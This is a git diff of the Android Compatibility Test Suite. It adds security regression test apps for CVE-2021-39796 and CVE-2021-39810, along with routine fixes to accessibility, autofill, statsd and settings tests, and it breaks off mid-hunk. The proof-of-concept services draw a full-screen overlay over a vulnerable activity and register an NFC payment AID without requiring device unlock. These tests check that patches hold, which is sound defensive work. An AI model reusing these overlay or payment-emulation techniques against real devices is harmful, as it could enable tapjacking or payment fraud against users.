diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
new file mode 100644
index 0000000..20fccde
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+        }
+    }
+
+    public void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        Intent intent = new Intent();
+        intent.setClassName(context.getString(R.string.vulnerablePkg),
+                context.getString(R.string.vulnerableActivity));
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+
+        PackageManager pm = getApplicationContext().getPackageManager();
+        List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        String vulnerableActivityName = context.getString(R.string.vulnerablePkg) + "/"
+                + context.getString(R.string.vulnerableActivity);
+
+        assumeTrue(context.getString(R.string.activityNotFoundMsg) + vulnerableActivityName,
+                ris.size() != 0);
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Context context = getApplicationContext();
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = mDevice
+                .wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), LAUNCH_TIMEOUT_MS);
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(context.getString(R.string.dumpsysActivity)
+                    + " " + context.getString(R.string.harmfulActivity));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+                activityPattern.matcher(activityDump).find());
+
+        assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
new file mode 100644
index 0000000..a7a9c5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        assumeTrue("The application cannot draw overlays",
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText("OverlayButton");
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
similarity index 69%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
index bcbf54f..9a11e88 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -12,15 +12,22 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39810",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
new file mode 100644
index 0000000..3bdc38d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39810"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.NFC"/>
+    <application
+        android:label="CVE-2021-39810"
+        android:supportsRtl="true">
+        <service
+            android:name=".PocService"
+            android:exported="true"
+            android:permission="android.permission.BIND_NFC_SERVICE">
+            <intent-filter>
+                <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+            </intent-filter>
+            <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
+                android:resource="@xml/aid_list"/>
+        </service>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
new file mode 100644
index 0000000..8983381
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:requireDeviceUnlock="false">
+    <aid-group android:category="payment">
+        <aid-filter android:name="325041592E5359532E4444463031" />
+    </aid-group>
+</host-apdu-service>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
new file mode 100644
index 0000000..e8e2085
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39810;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
index 3203793..eeabeec 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -76,6 +76,7 @@
         }
     }
 
+    static final String CAR_SETTING_FRAG_RESOURCE_ID_REGEX = ".*:id/fragment_container_wrapper";
     static final String PACKAGE_NAME = DeviceOwnerTest.class.getPackage().getName();
     static final ComponentName RECEIVER_COMPONENT =
             new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName());
@@ -84,6 +85,7 @@
     protected PackageManager mPackageManager;
     protected boolean mIsDeviceOwner;
     private String mWorkPolicyInfoText;
+    private boolean mIsAutomotive;
 
     @Override
     protected void setUp() throws Exception {
@@ -94,9 +96,9 @@
         mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
                 BasicAdminReceiver.class, /* forDeviceOwner= */ true);
 
-        boolean isAutomotive = mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+        mIsAutomotive = mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
 
-        mWorkPolicyInfoText = isAutomotive
+        mWorkPolicyInfoText = mIsAutomotive
                 ? "Privacy Settings for Device Owner CTS host side app vehicle policy"
                 : "Your work policy info";
 
@@ -145,9 +147,10 @@
         boolean found = null != mDevice.wait(Until.findObject(By.text(mWorkPolicyInfoText)),
                 TIMEOUT_MS);
 
-        // Try to scroll the list to find the item
-        if (!found) {
-            UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+        // For automotive UI, try to scroll the privacy list to find the item
+        if (!found && mIsAutomotive) {
+            UiScrollable scroller = new UiScrollable(new UiSelector()
+                    .resourceIdMatches(CAR_SETTING_FRAG_RESOURCE_ID_REGEX));
             try {
                 // Swipe far away from the edges to avoid triggering navigation gestures
                 scroller.setSwipeDeadZonePercentage(DEADZONE_PCT);
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
index 3ad2541..6aac559 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
@@ -66,6 +66,7 @@
 
         getDevice().startUser(secondUserID, true);
         getDevice().switchUser(secondUserID);
+        Thread.sleep(5000);
         installAppAsUser(TARGET_APK, secondUserID);
         waitForBroadcastIdle();
         Thread.sleep(5000);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
index c7b2879..e192e72 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
@@ -16,14 +16,14 @@
 
 package android.cts.statsdatom.appcompatstate;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_ASPECT_RATIO;
 import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_FIXED_ORIENTATION;
 import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_SIZE_COMPAT_MODE;
 import static com.android.os.AtomsProto.AppCompatStateChanged.State.NOT_LETTERBOXED;
 import static com.android.os.AtomsProto.AppCompatStateChanged.State.NOT_VISIBLE;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.cts.statsdatom.lib.AtomTestUtils;
 import android.cts.statsdatom.lib.ConfigUtils;
 import android.cts.statsdatom.lib.DeviceUtils;
@@ -154,8 +154,9 @@
 
     public void testNonResizablePortraitActivitySwitchedToOpenedThenMinAspectRatioActivity()
             throws Exception {
-        // The 1st and 2nd options for expected states are for portrait devices and the 3rd and 4th
-        // options are for landscape devices, there are two options for each type of device because
+        // The 1st and 2nd options for expected states are for portrait devices, the 3rd and 4th
+        // options are for landscape devices, and the 5th and 6th options are for portrait
+        // devices that unfold into landscape, there are two options for each type of device because
         // the NOT_VISIBLE state between visible states isn't always logged.
         testAppCompatFlow(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
                 MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY, /* switchToOpened= */ true,
@@ -166,6 +167,10 @@
                 Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
                         NOT_VISIBLE, LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
                 Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
+                        LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE, NOT_VISIBLE,
+                        LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
                         LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE));
     }
 
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index a2f4521..161a887 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba741..1fdeb9e 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -32,4 +32,8 @@
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+      <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
 </configuration>
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index c083977..8c1b484 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -67,6 +67,9 @@
     private static final long IDLE_TIMEOUT_MS = 500;
     private static final long DEFAULT_TIMEOUT_MS = 1000;
 
+    // From ViewConfiguration.SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS
+    private static final long SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS = 100;
+
     private EventReportingLinearLayout mParentView;
     private View mChildView;
     private TextView mTextView;
@@ -151,10 +154,10 @@
                         mChildView.scrollTo(0, 25);
                         mChildView.scrollTo(0, 50);
                         mChildView.scrollTo(0, 100);
-                        Thread.sleep(150);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
                         mChildView.scrollTo(0, 150);
                         mChildView.scrollTo(0, 175);
-                        Thread.sleep(50);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS / 2);
                         mChildView.scrollTo(0, 200);
                     } catch (InterruptedException e) {
                         fail("Interrupted while dispatching event bursts.");
@@ -234,7 +237,7 @@
                         mChildView.scrollTo(0, 25);
                         mChildView.scrollTo(5, 50);
                         mChildView.scrollTo(7, 100);
-                        Thread.sleep(100);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
                         mChildView.scrollTo(0, 25);
                         mChildView.scrollTo(5, 50);
                         mChildView.scrollTo(7, 100);
@@ -281,10 +284,10 @@
                         sendStateDescriptionChangedEvent(mChildView);
                         sendStateDescriptionChangedEvent(mChildView);
                         sendStateDescriptionChangedEvent(mChildView);
-                        Thread.sleep(150);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
                         sendStateDescriptionChangedEvent(mChildView);
                         sendStateDescriptionChangedEvent(mChildView);
-                        Thread.sleep(50);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS / 2);
                         sendStateDescriptionChangedEvent(mChildView);
                     } catch (InterruptedException e) {
                         fail("Interrupted while dispatching event bursts.");
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index b6bb357..089aa58 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -144,8 +144,8 @@
         mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
         // The threshold is determined by xdpi.
         mStrokeLenPxY = mStrokeLenPxX;
-        mMaxAdjustedStrokeLenPxX = metrics.heightPixels / 2;
-        mMaxAdjustedStrokeLenPxY = metrics.widthPixels / 2;
+        mMaxAdjustedStrokeLenPxX = metrics.widthPixels / 2;
+        mMaxAdjustedStrokeLenPxY = metrics.heightPixels / 2;
         final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
         final boolean screenHighEnough =  metrics.heightPixels / 2 > mStrokeLenPxY;
         mScreenBigEnough = screenWideEnough && screenHighEnough;
@@ -641,14 +641,18 @@
                 adjustStrokeDurationForSlop(STROKE_MS, dx, slopAdjustedDx),
                 adjustStrokeDurationForSlop(STROKE_MS, dy, slopAdjustedDy));
 
+        final PointF tapLocation = new PointF(mTapLocation);
+        final float locationOffsetX = (fingerCount - 1) * fingerOffset;
+        tapLocation.offset(dx > 0 ? -locationOffsetX : locationOffsetX , 0);
         for (int currentFinger = 0; currentFinger < fingerCount; ++currentFinger) {
             // Make sure adjustments don't take us outside of screen boundaries.
-            assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < mMaxAdjustedStrokeLenPxX);
+            assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < (mMaxAdjustedStrokeLenPxX
+                    + locationOffsetX));
             assertTrue(slopAdjustedDy < mMaxAdjustedStrokeLenPxY);
             builder.addStroke(
                     GestureUtils.swipe(
-                            add(mTapLocation, fingerOffset * currentFinger, 0),
-                            add(mTapLocation, slopAdjustedDx + (fingerOffset * currentFinger),
+                            add(tapLocation, fingerOffset * currentFinger, 0),
+                            add(tapLocation, slopAdjustedDx + (fingerOffset * currentFinger),
                                     slopAdjustedDy),
                             slopAdjustedStrokeDuration));
         }
@@ -657,9 +661,9 @@
 
     private float adjustStrokeDeltaForSlop(int fingerCount, float strokeDelta) {
         if (strokeDelta > 0.0f) {
-            return strokeDelta + (fingerCount * mScaledTouchSlop);
+            return Math.max(strokeDelta, fingerCount * mScaledTouchSlop + 10);
         } else if (strokeDelta < 0.0f) {
-            return strokeDelta - (fingerCount * mScaledTouchSlop);
+            return Math.min(strokeDelta, -(fingerCount * mScaledTouchSlop + 10));
         }
         return strokeDelta;
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index b206d5b..6f37728 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -109,7 +109,7 @@
         }
 
         protected static InlineUiBot getInlineUiBot() {
-            return sDefaultUiBot2;
+            return new InlineUiBot(getContext());
         }
 
         protected static UiBot getDropdownUiBot() {
@@ -480,7 +480,6 @@
     }
 
     protected static final UiBot sDefaultUiBot = new UiBot();
-    protected static final InlineUiBot sDefaultUiBot2 = new InlineUiBot();
 
     private AutoFillServiceTestCase() {
         throw new UnsupportedOperationException("Contain static stuff only");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
index 3bd55d5..b39a080 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
@@ -30,6 +30,7 @@
 import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.InlineUiBot;
 import android.content.IntentSender;
 import android.platform.test.annotations.Presubmit;
 import android.service.autofill.Dataset;
@@ -38,6 +39,7 @@
 import android.widget.EditText;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 @Presubmit
 public class InlineAugmentedAuthTest
@@ -59,6 +61,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testDatasetAuth_resultOk_validDataset() throws Exception {
         // Set services
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
index a8800c8..4d7efce 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
@@ -27,6 +27,7 @@
 import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.InlineUiBot;
 import android.content.ClipData;
 import android.content.ContentResolver;
 import android.content.IntentSender;
@@ -43,6 +44,7 @@
 
 import org.junit.Before;
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 import java.util.concurrent.atomic.AtomicInteger;
 
@@ -71,6 +73,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Before
     public void before() throws Exception {
         mContentResolver = mContext.getContentResolver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
index bae5a21..9c9e3ab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -31,6 +31,7 @@
 import android.autofillservice.cts.testcore.CannedFillResponse;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
 import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
 import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
@@ -41,6 +42,7 @@
 import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 @FlakyTest(bugId = 162372863)
 public class InlineAugmentedWebViewActivityTest extends
@@ -70,6 +72,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAugmentedAutoFillNoDatasets() throws Exception {
         // Set service.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
index fef24f1..f1bacb5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
@@ -27,6 +27,7 @@
 import android.app.assist.AssistStructure;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
 import android.content.ComponentName;
+import android.content.Context;
 import android.service.autofill.augmented.FillRequest;
 import android.util.Log;
 import android.util.Pair;
@@ -37,6 +38,8 @@
